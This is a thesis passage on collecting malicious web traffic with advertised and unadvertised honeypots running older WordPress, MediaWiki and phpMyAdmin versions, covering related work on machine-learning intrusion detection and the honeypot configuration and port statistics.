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Web applications are highly prone to coding imperfections which lead to hacker-exploitable 
vulnerabilities. The contribution of this thesis includes detailed analysis of malicious HTTP 
traffic based on data collected from four advertised high-interaction honeypots, which hosted 
different Web applications, each in duration of almost four months. We extract features from 
Web server logs that characterize malicious HTTP sessions in order to present them as data 
vectors in four fully labeled datasets. Our results show that the supervised learning methods, 
Support Vector Machines (SVM) and Decision Trees based J48 and PART, can be used to 
efficiently distinguish attack sessions from vulnerability scan sessions, as well as efficiently 
classify twenty-two different types of malicious activities with high probability of detection and 
very low probability of false alarms for most cases. Furthermore, feature selection methods can 
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Chapter 1  
Introduction 
 
Web applications today are primary software solutions of many businesses and 
individuals. Ability to update and maintain Web applications without distributing and installing 
software on potentially thousands of client computers, using a Web browser as a client, ubiquity 
of Web browsers, and the inherent support for cross-platform compatibility are the key reasons 
for the popularity of the Web applications [95]. In September 2009, the SANS Institute reveled 
in their Top Cyber Security Risks report that more than 60 percent of the total attacks observed 
on the Internet were launched against Web applications [80]. 
Over the years Web applications provide more and more sophisticated services. 
Especially today, Web2.0 applications are becoming part of our everyday lives. Services like 
Facebook, YouTube, Wikipedia, Blogger, Twitter, etc. are becoming more complex as they 
incorporate diverse set of tools and applications that work together in order to provide the 
functionality we all enjoy. Beside the wide usage and acceptance the Web applications are highly 
prone to coding imperfections. The coding imperfections that lead to hacker-exploitable 
vulnerabilities are increasing with the amount of functionality and complexity the Web 
applications provide. As a result many of these Web applications are constantly under attacks. 
Most importantly the network security solutions used today, like firewalls, access control, 
authentication, and intrusion prevention systems (IPS), work on network level traffic and 
typically fail to stop Web attacks occurring on the higher application layer HTTP traffic. At the 
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moment there is little or practically no defense from Web attacks what makes Web applications 
popular targets amongst attackers. 
The attractiveness of the Web applications as target for attacks against which there are 
little or no protection motivates us to analyze attackers’ activities on Web-based systems. The 
goal of this thesis is to analyze and classify malicious traffic aimed towards Web systems. In this 
work we analyze Web server logs collected from high-interaction honeypots. Web server logs 
maintain history of requests towards Web applications and record valuable information, 
especially when the goal is to detect malicious traffic towards Web applications. High-
interaction honeypots are fully functional Web systems connected to a network and usually used 
by attacker. The data collected form the Honeypots are used in order to eliminate the needle in 
the haystack problem presented when looking to analyze the malicious traffic in a regular 
production Web system. In our case the honeypots are configured in three-tier architecture which 
consists of a Web server, application server, and a database server. Such configuration allows us 
to have Web based system with meaningful functionality running on our honeypots instead of 
running independent applications. Older versions of the applications and servers were installed, 
each with a known set of vulnerabilities with assumption that the older versions along with the 
type of applications will make the honeypots more attractive targets for attackers. 
For this and for our previous work [48] and [50], as well as for the work presented in [2] 
and [7] we collected Web server logs from the two most commonly used Web servers Microsoft 
IIS and Apache [56] running on the two most commonly used server operating systems i.e. 
Windows and Linux. Web applications installed on our honeypots are the phpMyAdmin and two 
widely used Web2.0 applications Wordpress and MediaWiki. 
 phpMyAdmin is well known among Webmasters. It is the most popular PHP applications 
and MySQL administration tool, with a large community of users and contributors. 
PhpMyAdmin is generally among the most active [63] and most downloaded [64] 
projects on SourceForge.net, a big library of free and open source software [83]. 
 WordPress is PHP-based open source blogging software which is widely used across the 
Internet. According to a study by Water and Stone, Wordpress is the most downloaded 
open source content management system (CMS) software available online [75]. 
 MediaWiki popularly know as the application base for Wikipedia. According to the study 
by Water and Stone it is standing as the dominant wiki application on the Internet [75]. 
 




This work together with [2] and [7] is a part of larger effort aimed at Improving Web 
Quality through an Integrated Approach [12]. Over a period of several years our research group 
deployed several honeypots with different configurations to collect malicious traffic. In total we 
fully labeled HTTP sessions from four high-interaction honeypots each, running uninterruptedly 
almost four months, and conducted a large scale, detailed analysis of observed real malicious 
traffic. 
The main contributions of this thesis are as follows: 
 From the Web server logs we extract 43 features which characterize malicious HTTP 
sessions. By combining the processes of feature extraction and labeling, four datasets 
which characterize malicious HTTP sessions were created. The related work shows the 
importance and needs of novel datasets that can be used in analysis of malicious HTTP 
traffic in order to aid future anomaly detection tools in detecting attacks towards Web 
application. 
 We use supervised machine learning techniques to classify malicious HTTP sessions into 
two major classes, attacks and vulnerability scans. Support Vector Machines (SVM), and 
Decision Trees based J48 and PART classify the attacks from the vulnerability scans with 
high probability of detection and low probability of false alarm. 
 We also classify malicious HTTP traffic in twenty-two different classes, are spread 
among eleven attack and eleven vulnerability scan classes. There were only a few 
attempts in the related work of multi-class classification which usually were limited to 
classifying well represented attack classes from artificially generated datasets. Our 
research show that the twenty-two different classes are classified by the Support Vector 
Machines (SVM), and Decision Trees based J48 and PART with high probability of 
detection and low probability of false alarm.  
The rest of this thesis is organized as follows. In Chapter 2 we present the related work. 
The experimental setup used to collect the raw data is presented in Chapter 3 where we also give 
a brief summary of the observed malicious traffic. In Chapter 4 we discuss data pre-processing 
and session labeling, and define the features we extracted. In Chapter 5 we present the results of 
using supervised machine learning techniques to classify the observed malicious activities. 





Chapter 2  
Related Work  
 
In this chapter we review papers that discuss usage of supervised machine learning 
techniques, first on 1998 DARPA dataset and its derivatives, and then on other datasets. 
 
2.1 Research Based 1998 DARPA Dataset and its Derivatives 
 
1998 DARPA dataset, with the several improvements that stopped in 2001, is one of a 
few dataset publicly available, which was established as a standard benchmark for testing 
intrusion detection systems. It began with research that originated from MIT Lincoln Lab [52] 
and later continued in [73], which resulted in 1998 DARPA dataset. KDD Cup 1999 dataset, 
described in detail in [59], is a processed subset of the 1999 DARPA dataset, improved version 
of the 1998 DARPA dataset, which was redistributed as part of a contest sponsored by the 
International Conference on Knowledge Discovery in Databases. 
The following research papers used the 1998 DARPA dataset and its derivatives as a 
testing and training base. 
Portnoy et al. in [55] proposed a way to detect intrusions from unlabeled network traffic. 
A simple variant of single-linkage clustering was used over the KDD Cup 1999 dataset. 
Complete feature vectors were used with prior normalization. The authors measured the trade-off 
between detection and false positives rate. Presented results were from modified 10-fold cross 
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validation. The data was partitioned in 10 subsets but then some were excluded since the 
requirement was all subsets had to have some degree of representation of all intrusion types. The 
best results were 53.01% probability of detection with 1.63% probability of false alarm. K-
nearest neighbor clustering was also tried, and it was discovered that the results were largely 
dependant on the value of k and the training and test datasets. 
Mahoney et al. in [58] set a goal to detect novel attacks that will deviate from a model of 
normal behavior constructed from attack-free network traffic. A Pearson product-moment 
correlation coefficient was used to assign odds of the events hostility. Estimation of probabilities 
for hostile event was done by counting incoming server requests in a way that favors newer data 
over old, and assigns high anomaly scores to low probability events. The authors used the 1999 
DARPA dataset to build two models named Packet Header Anomaly Detection (PHAD) and 
Application Layer Anomaly Detection (ALAD). In PHAD, the event was a single network 
packet, model with the 33 fields from the Ethernet, IP, and transport layer (TCP, UDP, or ICMP) 
packets header as features. In ALAD, the event was an incoming server TCP connection. 
Features from 1999 DARPA dataset were considered but only a few were selected. Out of 180 
attacks in the 1999 DARPA dataset, PHAD and ALAD detect 70 (39% recall), with 100 false 
alarms (41% precision). 
Stein et al. in [89] used the C4.5 Decision Trees and created a Genetic Algorithms (GA) 
for feature selection to see whether the GA/Decision Tree hybrid could produce a better 
classification of four attacks (Probe, DOS, R2L and U2R) than the current best performer of 
Decision Tree alone. For the experiments 10% (489843 cases) of the KDD Cup 1999 training 
data was used for training and full testing data was used for testing (311029 cases). Building of 
the initial decision trees, and feature selection was done over all features included in the KDD 
Cup 1999 dataset. The author concluded that using some unimportant features might lead the 
decision tree to take the “easy way” to partition data that maximized the information gain; 
however, it did not create an intelligent partitioning decision. The results of the experiments 
showed that the genetic algorithm and decision tree hybrid was able to outperform the decision 
tree algorithm without feature selection. The GA portion of the algorithm was able to eliminate 
the unimportant features and identify those features that are necessary for effective classification. 
The lowest achieved detection error rate was ranging between 0.09% and 19.62% for the four 
attack classes. 
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Chen et al. in [13] used Artificial Neural Networks (ANN) and Support Vector Machines 
(SVM) to detect potential system intrusions. Because of the nature of the 1998 DARPA dataset, 
the authors needed to modify the data by grouping processes and system calls into sessions and 
dividing them into normal and abnormal. The simple and the tf-idf frequency schemes were used 
over the Solaris Basic Security Mode (BSM) audit data, to select 30% (10 days) of the dataset. 
Selected data was divided in half (i.e. 5 days) for training and test. The training set contained 250 
attacks and 41,426 normal sessions. The frequencies of 50 commonly used system calls were 
used as features and Gaussian kernel was used for the SVM. The SVM parameter estimation was 
done with 10-fold cross-validation over the training dataset. The results showed that SVM model 
outperformed the ANN model with 100.00% (250 of 250) probability of detection and attack and 
probability of false alarm of around 10.00% (4,288 of 41,426). 
These results were somewhat different from the ones in [79] where the same methods 
were used and it was shown that SVM had similar performance to the ANN. 
Lee et al. in [36] and Khan et al. in [54] presented an approach which combined SVMs 
and hierarchical clustering to achieve more than 90% classification accuracy of 3 out of 5 classes 
of malicious activity chosen from the KDD Cup 1999 dataset. The other two types of malicious 
activity were classified poorly, because of the shortage of training set for these classes. 
In [39] it was showed that SVM outperform the k-nearest neighbor (kNN) classifier. The 
authors claimed that SVMs were robust and provided good generalization ability, effectively 
detecting intrusions in the presence of noise. 
Surveys by Patcha et al. [69], Chandola et al. [92], and Abraham et al. [1] presented 
research work using different machine learning techniques for anomaly and intrusion detection. 
Abraham et al. in [1] stated that SVM are good candidate for intrusion detection because of the 
training speed and scalability, and that the Decision Trees are successfully used in misuse 
detection modules where the goal is classification of various types of attacks. Patcha et al. in [69] 
state that SVM have been successful at detecting new kinds of attacks, as well as that the primary 
advantages of using Decision Tree learners is the generated rules which are easy to verify and 
use.  Chandola et al. in [92] stated that in general decision trees tend to be faster while SVM are 
more computationally expensive. 
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2.1.1 Discussion on the quality of the 1998 DARPA Dataset 
 
The methodology used to generate the 1998 DARPA dataset, and especially the KDD 
Cup 1999 dataset, was shown to be inappropriate for simulating actual network environments. 
The following reasons appear in the literature (1) No validation was ever performed to show that 
the DARPA dataset is actually representative of real network traffic, for example, a sample of 
real world traffic was used to generate the background data and no attempts were made to ensure 
that the synthetic attacks were realistically distributed into that background [44], (2) Neither 
analytical nor experimental validation of the background data false alarm characteristics were 
undertaken. Real data on the internet is not well behaved; in some cases poor implementations of 
various network protocols result in spontaneous packet storms that are indistinguishable from 
malicious attempts at flooding. Examples include storms of FIN and RST packets, fragmented 
packets with the don’t fragment flag set, legitimate tiny fragments, and data that differs from the 
original in retransmission [44], (3) One very fundamental oddity is that all the malicious packets 
had a TTL of 126 or 253 whereas almost all other packets had a TTL of 127 or 254 [61], (4) 
Even if everything that was previously stated about the DARPA datasets is discarded the datasets 
are out of date and do not include the current trends is malicious traffic. The following research 
was towards addressing these problems. 
 
2.2 Research Introducing other Data 
 
The following research papers use supervised learning on other datasets containing Web 
traffic data. 
Almgren et al. in [60] presented an intrusion detection tool aimed at protecting Web 
servers with ability to run in real time and keep track of suspicious hosts. This paper is one of 
very few that presents work specializing in the analysis of Web server log files. The data that 
was used consisted of Web server log files form 9 different Web servers totaling in 
approximately 7 years long log files. Web servers were commercial, universities, and the 1998 
Olympic Games in Nagano Web site. Several interesting features were extracted, some of which 
we consider and revise (see section 4.3 Feature Extraction). The authors built a model that 
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consisted of 8 modules, some of which were generating novel patterns and others using those 
patterns toward detection of attacks. The attacks consisted of CGI based attacks, DoS, 
Undesirable Activity like accessing sensitive documents, and Policy Violations which were 
flagged by system administrators. Created model was trained on the whole dataset and the 
generated patterns were tested on real world commercial Web site for 69 days. Because of the 
nature of the work each module was evaluated separately, however performance measures were 
not reported. Rather the authors talked about fine tuning the detection rate and elimination of 
false positives based on specific hosts and pattern sets. 
Kruegel et al. in [9] presented an intrusion detection system that used a number of 
different anomaly detection techniques to detect attacks against Web servers and Web-based 
applications. Client requests that reference server-side programs were analyzed to automatically 
derive the parameter profiles associated with Web applications (e.g., length and structure of 
parameters) and relationships between requests (e.g., access times and sequences). Apache Web 
server access log files were used as dataset from a production Web server at Google, Inc. and 
from two computer science department Web servers located at the University of California, 
Santa Barbara (UCSB) and the Technical University, Vienna (TU Vienna). The authors 
calculated Mean, Variance, Covariance, Bayesian probabilities of the extracted features like 
length of the parameters, access times, sequence of requests, etc. and used X2 test and Markov 
models to detect attacks like Buffer overflow, Directory traversals, XSS, Input validations, and 
Code Red. The achieved results were presented in the form of false positives rate which was less 
than 0.06%. 
 Estevez et al. in [45] presented an approach based on monitoring of incoming HTTP 
requests to detect attacks against Web servers. Markov models were used to generate HTTP 
requests which were trained over generated traffic which consisted of well-know vulnerabilities 
from the arachNIDS database [5] combined with traffic from the 1999 DARPA dataset. In order 
to derive attributes for the Markov models, the HTTP requests strings were broken into tokens. 
For example, “host.name.domain/dir1/dir2/script” was broken into four tokens 
{“host.name.domain”, “dir1”, “dir2”, “script”}. The Markov models achieved 100% probability 
of detection of attack with 1% probability of false alarm. 
 Garcia et al. in [93] used ID3 for detection of Web attacks. The reason why the ID3 was 
chosen because the classification rules that are easy to read, helping to grasp the root of an 
 
 Risto Pantev Chapter 2. Related Work 
 
9
attack, as well as extending the capabilities of the classifier. The data used in this research was 
from 400 Web application attack requests from three security vulnerability lists (i.e. 
SecurityFocus, Unicode IIS Bugtraq, and Daily’s Dave vulnerability disclosure list) as well as 
462 Web application non-attack requests gathered from the Apache log files of 3 servers. Every 
Web application query was transformed into set of attributes where each attributes took a value 
from a fixed, finite set. This transformation was necessary because the Web application queries 
are not suitable for use in ID3. The authors analyzed attacks like SQL Injection, XSS, Code 
Injection, and Directory Traversal and measured the probability of detection, false positive, and 
false negatives rate of the generated trees. The highest achieved results were probability of 
detection of 93.65%, with probability of false alarm of 4.7%, and false positives rate of 1.6%. 
 
2.3 The Contributions of This Thesis 
 
The contributions of this thesis are as follows: 
 In this thesis we use the supervised machine learning techniques Support Vector 
Machines (SVM) and Decision Trees based J48 and PART to classify malicious HTTP 
sessions. To the best of our knowledge this problem has not been addressed in the related 
work. 
 In order to do classification we analyze and label real malicious HTTP traffic data 
collected from Web server access logs from four advertised high-interaction honeypots. It 
is important to mention that the work done on detailed analysis of malicious HTTP 
traffic, as well as the experimental setup is a group effort and involved several members 
of our research team. 
 In this thesis we extract 43 features which characterize malicious HTTP sessions. By 
combining the processes of feature extraction and labeling, four datasets which 
characterize malicious HTTP sessions were created. As shown by the related work, there 
is a need of new datasets that can be used in analysis of the malicious HTTP traffic aimed 
towards current Web applications. 
 We use Support Vector Machines (SVM), and Decision Trees based J48 and PART to 
classify malicious HTTP sessions into two major classes: attacks and vulnerability scans. 
 




The use of the two class problem in the related work was mainly focused on 
distinguishing between malicious and non-malicious traffic. 
 We classify malicious HTTP traffic in twenty-two different classes. The twenty-two 
different classes are spread amongst eleven attack and eleven vulnerability scan classes. 
There were only a few attempts in the related work of multi-class classification which 
usually were limited to classifying well represented attack classes from artificially 





Chapter 3  
Data Collection 
 
It should be noted that the work presented here is a part of a larger effort and that the 
experimental setup involved several team members. 
In this chapter, we present the setup for our experiments. First we define a honeypot and 
we describe the basis of a honeypot system, then we present the configuration for each honeypot 
system used to collect the data for this study. We include details of the network and system 
configurations, and the applications installed on the honeypots along with their vulnerabilities. 




A regular production Web server typically has a large amount of audit data. Locating 
malicious activities amongst the large amount of normal activities presents a “needle in the 
haystack” problem. In order to eliminate this problem, we use honeypot technology to collect 
data. 
Honeypot is a computer system that is connected to a network but is not used by any 
legitimate users. If anyone attempts to use the machine, it is either an accident or most likely an 
attack attempt on the machine [28]. 
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For our previous work [7], [48], [50] and for the work presented here and in [2] a high-
interaction honeypots were developed and deployed. These high-interaction honeypots run real 
services and real Web applications following the example of GenII honeypots used by the 
Honeynet Project [90]. 
High-interaction honeypot by definition represents a fully functional system. Using high-
interaction honeypots allows us to give appearance of a real Web server with all of the expected 
components and also guarantees that the honeypots provide authentic responses to any attack 
attempts. The honeypots were designed to closely resemble a real Web server. We implemented 
the most commonly used three-tiered architecture which consists of Web server, an application 
server, and database. Using this architecture we created a real Web server with meaningful 
functionality, including databases and applications populated with a large amount of content. 
To have the most realistic environment for our experiments every high-interaction 
honeypot we deployed was paired up with another identical. One of the honeypots was 
designated as the “advertised” and the other one as “unadvertised”. The advertised honeypot was 
made “visible to the Internet” through a method called “transparent linking” [53]. To use this 
method, links to the honeypot were placed on the home Web page of the WVU Lane Department 
of Computer Science and Electrical Engineering. These links are not visible to humans but can 
be visited by crawlers. Each link has different text and a different target URL. We also use 
META tags to place appropriate keywords on each of the Web pages on our honeypots. These 
keywords are used by crawlers to identify the content of the Web page and index the pages for 
search engines. By advertising we allowed for attackers that use search engines (using the so 
called Search-based strategy [53]) to locate our honeypot. 
The second honeypot is not advertised anywhere on the Internet. This unadvertised 
honeypot can only be reached by IP-based strategy. An IP-based strategy is when an attacker 
scans or attacks an IP address without (previous) involvement of search engines [53]. In our 
setup the unadvertised honeypot serves as a control and allows us to determine the relative 
contribution of search-based strategies (which only work on the advertised honeypot) to IP-based 
strategies (which work on both honeypots) [48]. 
Each honeypot was assigned its own external IP address and an appropriate host name. 
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3.2 Experimental Setup 
 
In Figure 3.1 we show the layout of our experimental setup. We define a honeypot system 
as a pair of advertised and unadvertised honeypots separated from the Internet by a common 
honeywall. Honeywall is an integral part of a honeypot system. It acts as a bridging firewall 
between the honeypots and the Internet. 
The traffic that goes to or from the honeypots passes through the honeywall. The 
honeywall logs all of the packets using TCPDump and silently forwards the traffic without 
modifying the hop count of the packets. The only modification that the honeywall does to the 
traffic is that it limits the outbound connections an attacker can initiate from a honeypot to 20 
packets per day. Such modification reduces the risk of malicious activities originating from a 
compromised honeypot. 
A honeypot system is deployed on a single physical machine. The machine runs a Linux 
operating system (i.e. Ubuntu Server). The two honeypots and the honeywall are virtual 
machines part of Virtualization software (i.e. VMware Server [7]). The setup with virtual 
machines (1) allows us to run a couple of honeypots on the same physical machine, and (2) to 
easily re-deploy a honeypot in an event it becomes compromised. Many other studies, such as 
[28] and [57] have used virtual machines to run honeypots. 
The honeywall runs on a Linux operating system (i.e. Ubuntu Server) and the bridging 
firewall is configured via iptables [42]. The honeywall does not own an external IP address, and 
has a local area network connection only to the central data repository. 
The central data repository is a common place where the captured network traffic, 
information related to the system activity like Web server logs, logs from the various 
applications running on our honeypots, and additional audit data was collected and stored. 
As shown in Figure 3.1 the central data repository is an autonomous system and it runs 
on a different machine where the collected data is backed up and secured from tampering in case 
any of the components of the honeypot system are compromised. 
 




Figure 3.1: Experimental setup 
 
3.3 Configuration of the Honeypot Systems 
 
Since June of 2008 our research group deployed three honeypot systems: 
HoneypotSystemI, HoneypotSystemII, and HoneypotSystemIII. The main differences between 
each of the honeypot systems are the configurations of the honeypots, that is, the version and 
type of the operating systems they were running and the version and type of the applications 
installed on the honeypots. The only common component between the three honeypot systems is 
the central data repository. In order to automate the transfer of application logs to our data 
collection server via secure communication, SSH server was installed on each honeypot. 
The software packages installed on the honeypots were typical installations of somewhat 
older versions, each with a number of known vulnerabilities. Such configurations provided 
plenty of opportunities for compromising the honeypots, while still running applications current 
enough to be found on Internet. We used information provided by Security Focus [82] and 
Secunia [81] to decide what versions of software packages to install based on reported 
vulnerabilities. SecurityFocus.com [22] is an online computer security news portal and purveyor 
of information security services. Secunia [81] is a Danish computer security service provider best 
known for tracking vulnerabilities in a large variety of software and operating systems. Numbers 
of “unpatched” vulnerabilities in popular applications reported by Secunia are frequently quoted 
in the literature. 
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On the other hand the operating system and the applications on the honeywall are the 
latest versions and are constantly updated because the honeywall controls the flow of the traffic, 
and thus it should not be vulnerable and exposed to any known attack threads. 
Our honeypots were also designed to allow attacks that span across multiple components 
of the system, as well as direct attacks against certain components, much like what would be 
seen in a real Web server. Attackers can launch direct attacks on the Web server by making 
HTTP requests, directly attack the Web applications, or attack the database server by going 
through the Web applications. Attackers can also attack the database server by connecting 
directly to its TCP port. The operating system can be attacked by going through the Web server, 
database server, SSH, or through direct connections to ports on which operating system services 
run. 
We created multiple user accounts for the operating system, services, and the application 
running on the honeypots. The accounts were from different levels and with varying degrees of 
usage permissions. In order to prevent simple password cracking attempts from succeeding all 
user accounts were given strong passwords. Furthermore the root or administrator accounts were 
also restricted so that they can only be accessed locally or from the data collection server. 
 
Next we present the detailed configurations of the three honeypot systems. 
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3.3.1 Configuration of the HoneypotSystemI 
 
HoneypotSystemI was deployed in June of 2008 and stopped collecting in October of 
2008. Figure 3.2 illustrates the inner workings of the HoneypotSystemI. 
 
 
Figure 3.2: Inner workings of the HoneypotSystemI 
 
The advertised and the unadvertised honeypots in HoneypotSystemI ran on Linux 
operating system, i.e. default installation of Ubuntu 7.04. Security Focus does not have 
vulnerability data on Ubuntu 7.04, however Secunia has issued 180 advisories and has recorded 
527 known vulnerabilities. 
The specific three-tier architecture consisted of an Apache2 Web server version 2.2.3-3 to 
process HTTP requests, PHP Server version 5.2.1 to serve the phpMyAdmin application version 
2.9.1.1, and MySQL Server version 5.0.38-0 to serve as the database. Secunia has issued 20 
advisories and recorded 38 known vulnerabilities for the Apache2 2.2.x Web server, issued 30 
advisories and recorded 151 know vulnerabilities for the PHP Server version 5.2.x, and issued 26 
advisories and recorded 66 known vulnerabilities for the MySQL Server version 5.x. 
 phpMyAdmin application served as the front-end of the MySQL server. phpMyAdmin is 
an open source tool written in PHP intended to handle the administration of MySQL Server over 
the World Wide Web. phpMyAdmin won several awards and is the most popular tool for Web 
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database administration. Secunia issued 47 advisories and reported 89 known vulnerabilities for 
the phpMyAdmin version 2.x. 
 The MySQL database was populated with dummy data and the MySQL server allowed 
for a user login via phpMyAdmin interface. It is important to mention that no user accounts in 
the MySQL server were directly accessible by remote systems in this honeypot configuration, 
but attack attempts can be made on the MySQL port directly. If any successful attack occurred 
must have gone through the phpMyAdmin application which is slightly different from the other 
two honeypot systems. 
 The “home page” of the Web server was the default Apache html file. 
There was one link to the advertised honeypot on the WVU Lane Department of 
Computer Science and Electrical Engineering Web page and that was to the phpMyAdmin 
application. 
In addition, OpenSSH server and client (version 4.3p2-8) were installed to allow for 
remote login, as it is typical for many Web systems. We kept the OpenSSH server slightly more 
secure because the primary purpose of the SSH server was data transfer and not to observe 
attacks. Secunia only issued 9 advisories and reported 11 Vulnerabilities for this version of 
OpenSSH. 
More details of the HoneypotSystemI can be found in [48]. 
 
3.3.2 Configuration of the HoneypotSystemII 
 
HoneypotSystemII was deployed in March of 2009 and it is still collecting data. Figure 
3.3 illustrates the inner workings of the HoneypotSystemII. 
HoneypotSystemII was deployed in order to collect data from malicious activities aimed 
at Web servers that serve Web2.0 applications. 
The operating system selected for the honeypots in HoneypotSystemII is Windows XP 
Service Pack 2, installed with the default options but no security updates. According to Security 
Focus [22], this version of Windows has over 250 vulnerabilities. 
 




Figure 3.3: Inner workings of the HoneypotSystemII 
 
The specific three-tier architecture consisted of an Microsoft's Internet Information 
Services (IIS) Web server version 5.1 to process HTTP requests, PHP Server version 5.0.2 to 
serve the PHP-based applications, and MySQL Server version 4.1 to serve as the database. 
According to Security Focus [82], these versions of IIS and PHP have 32 and more than 76 
known vulnerabilities, respectively. Security Focus does not have vulnerability data on MySQL; 
however Secunia [81] has issued 23 security advisories and has recorded 26 known 
vulnerabilities for MySQL versions 4.x. Some of these vulnerabilities are exploitable only when 
an attacker is logged into MySQL, while some can also be exploited through Web applications 
that use MySQL or through remote login attempts.  
Two Web 2.0 applications are installed on the honeypots. The first is Wordpress (version 
2.1.1) [97]. Wordpress is a PHP-based open source blogging software which is widely used 
across the Internet. According to Security Focus, this particular version of Wordpress has in 
excess of 65 vulnerabilities, including at least 22 XSS, 2 CSRF, 10 HTML injection, and 18 SQL 
injection vulnerabilities. Additionally, Secunia has issued 32 advisories and reported 49 known 
vulnerabilities for Wordpress versions 2.x (see Figure 3.2). This presents a wide array of known 
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vulnerabilities for attackers to exploit.  The second Web application we installed is MediaWiki 
(version 1.9.0) [62]. MediaWiki is a PHP-based open source wiki software that is widely used 
across the Internet and has gained prominence as the application base for Wikipedia. According 
to Security Focus, this version of MediaWiki has in excess of 30 vulnerabilities, including at 
least 18 XSS and 5 HTML injection vulnerabilities. Secunia has issued 27 advisories and 
recorded 29 vulnerabilities for MediaWiki versions 1.x. 
A random text generator [76] was used to generate random content for each of the Web 
applications so it would appear to attackers that the applications were being actively used.  
Each Web application was configured to accept anonymous submissions (submissions 
from users which are not logged in). In Wordpress, anonymous users can post comments to blog 
entries. In MediaWiki, anonymous users have the same permission level as logged in users and 
can post and edit entries. 
A MySQL server was also installed and configured similarly to what would be found on 
a typical Web server. The primary function of the MySQL server is to serve as the backend for 
the Web applications. The MySQL server contains one database for each of the Web applications 
as well as the system database.  
The “home page” of the Web server is a static HTML page which contains links to the 
two Web applications as well as links to other HTML pages which contain pictures. In total, 
there are seven picture pages each containing a different number of pictures. There are also links 
to two large video files (approx. 10 MB) which can be downloaded. The purpose of these pages 
is to provide some static HTML content with a large amount of data which we can analyze 
alongside the Web applications. 
There are three links to the advertised honeypot on the Web page of WVU Lane 
Department of Computer Science and Electrical Engineering. In this case those links were 
towards the Blog and Wiki application, and toward the home page. 
We also installed the SSHWindows (version 3.8.1p1) [87] SSH/SFTP server on each 
honeypot, which is an OpenSSH server for Windows. We installed the most recent version of 
OpenSSH rather than an older version because the primary purpose of the SSH server was data 
transfer and not to observe attacks. This version of OpenSSH has only 4 vulnerabilities 
according to Security Focus and 7 according to Secunia. 
More details about the configuration of the HoneypotSystemII can be found in [7]. 
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3.3.3 Configuration of the HoneypotSystemIII 
 
HoneypotSystemIII is our third honeypot system, and is in a sense, resurrection of the 
HoneypotSystemI. Figure 3.4 illustrates the inner workings of the HoneypotSystemIII. 
 
 
Figure 3.4: Inner workings of the HoneypotSystemIII 
 
For the HoneypotSystemIII certain changes were made to closely resemble the 
HoneypotSystemII, the Web2.0 honeypot system. Here we kept the operating system, the Web 
server, database, and the application server from the Web2.0 honeypot system, and instead of 
Web2.0 applications we restored the phpMyAdmin application (version 2.9.1.1) from the 
HoneypotSystemI. 
There are multiple benefits of having such honeypot system in place. A few of these 
benefits are: the ability to collect data in parallel, to be able to establish a solid base for 
comparison between Web systems running Web2.0 and Non-Web2.0 applications regardless of 









Since 2008 when our first honeypot system was deployed, we collected huge amounts of 
data. The data that we analyzed in our previous work [7], [48], [50], and for the work presented 
here and in [2] was for time periods where honeypots had minimal or no downtime. In total we 
managed to create four datasets from the observed malicious HTTP traffic from the advertised 
honeypots. Next we present the descriptions and summaries of the observed traffic for each 
dataset. 
WebDBAdmin I is the dataset collected from the advertised honeypot running on the 
HoneypotSystemI. This dataset was used in our previous work [48]. For this dataset we managed 
to collect continuous, uninterrupted data during the period of almost four months (June 2 to 
September 28, 2008). Web2.0 I is the second dataset which is collected from the advertised 
honeypot running on the HoneypotSystemII and was used in our previous work [50]. The 
honeypot ran during a period of almost four months (March 30 to July 26, 2009). WebDBAdmin 
II is the dataset collected from the advertised honeypot running on the HoneypotSystemIII. This 
dataset was collected during time period of five months (August 17, 2009 to January 17, 2010). 
Web2.0 II is the dataset collected from the advertised honeypot running on the 
HoneypotSystemII.  This dataset was collected in parallel with the WebDBAdmin II dataset, 
during the same time period of five months (August 17, 2009 to January 17, 2010). 
With respect to the TCP traffic which is connection oriented protocol, following the 
definition used in the area of network traffic analysis [65], we define a connection as a unique 
tuple {source IP address, source port, destination IP address, destination port} with a maximum 
inter-arrival time between packets of 64 seconds. 
Table 3.1 shows the distribution of the malicious TCP traffic across different ports in the 
WebDBAdmin I honeypots. Advertised and unadvertised honeypots had 41,359 and 52,017 
connections, respectively. SSH (port 22) and MySQL (port 3306) traffic dominate the malicious 
TCP traffic on each honeypot, contributing over 99% of the total number of packets. HTTP (port 
80) was the third most popular port, with significantly more traffic on the advertised than on the 
unadvertised honeypot. On these particular honeypots the main reason why HTTP (port 80) 
traffic was the third popular TCP protocol is the attack attempt from single attacker launched 
directly towards both MySQL servers on port 3306. The attack on each server lasted over two 
 




hours during which the attacker generated 23,663 connections to the advertised honeypot and 
22,858 connections to the unadvertised honeypot. The SSH TCP traffic, in general, is a dominant 
component in the total TCP traffic across all dataset. Password cracking attacks dominate the 
SSH traffic, which shows that using weak passwords may still be the weakest link in systems 
security, leading to many systems being compromised [48]. 
Table 3.2 shows the distribution of the malicious TCP traffic across different ports in the 
Web2.0 I honeypots. HTTP (port 80) traffic was significant on both honeypots in the Web2.0 I 
dataset contributing to 44.10% of the connections on the advertised and 38.74% on the 
unadvertised honeypot. This was a significant increase compared to HTTP contribution on the 
WebDBAdmin I honeypots which was slightly over 1% on advertised and less than 1% on 
unadvertised honeypot. SSH (port 22) was the second most popular port, with almost the same 
percentage of connections on the advertised and unadvertised honeypots. More details of the 
TCP traffic and the analysis of the Web2.0 I honeypots can be found in [50]. 
Table 3.3 shows the distribution of the malicious TCP traffic across different ports in the 
WebDBAdmin II and Web2.0 II honeypots. HTTP (port 80) traffic in these two honeypot system 
during the collection time of the WebDBAdmin II and Web2.0 II datasets was dominant on both 
datasets contributing to 79.99% of connections on the Web2.0 II advertised honeypot and 
66.94% on the WebDBAdmin II advertised honeypot. On the unadvertised honeypots, on the 
other hand, the SSH TCP traffic dominated with 75.95% of the connections on Web2.0 II and 
53.71% on WebDBAdmin II unadvertised honeypot. The rest of the protocols contributed less 
than 1% of the overall TCP traffic. 





Advertised Honeypot Unadvertised Honeypot 
Port Connection Packets Connection Packets 
SSH (22) 16908 40.88% 203569 64.59% 28777 55.32% 346164 77.91% 
MySQL (3306) 23649 57.18% 100765 31.97% 22874 43.97% 97163 21.87% 
HTTP (80) 522 1.26% 10301 3.27% 78 0.15% 463 0.10% 
SMTP (25) 53 0.13% 53 0.02% 58 0.11% 58 0.01% 
MS SQL (1433) 35 0.08% 74 0.02% 37 0.07% 76 0.02% 
HTTP ALT (8080) 25 0.06% 54 0.02% 26 0.05% 52 0.01% 
Other 167 0.40% 346 0.11% 166 0.32% 352 0.08% 
Total 41359 100.00% 315162 100.00% 52016 100.00% 444328 100.00% 
Table 3.1: Breakdown of the TCP traffic for the WebDBAdmin I dataset 
 
Web2.0 I 
Advertised Honeypot Unadvertised Honeypot 
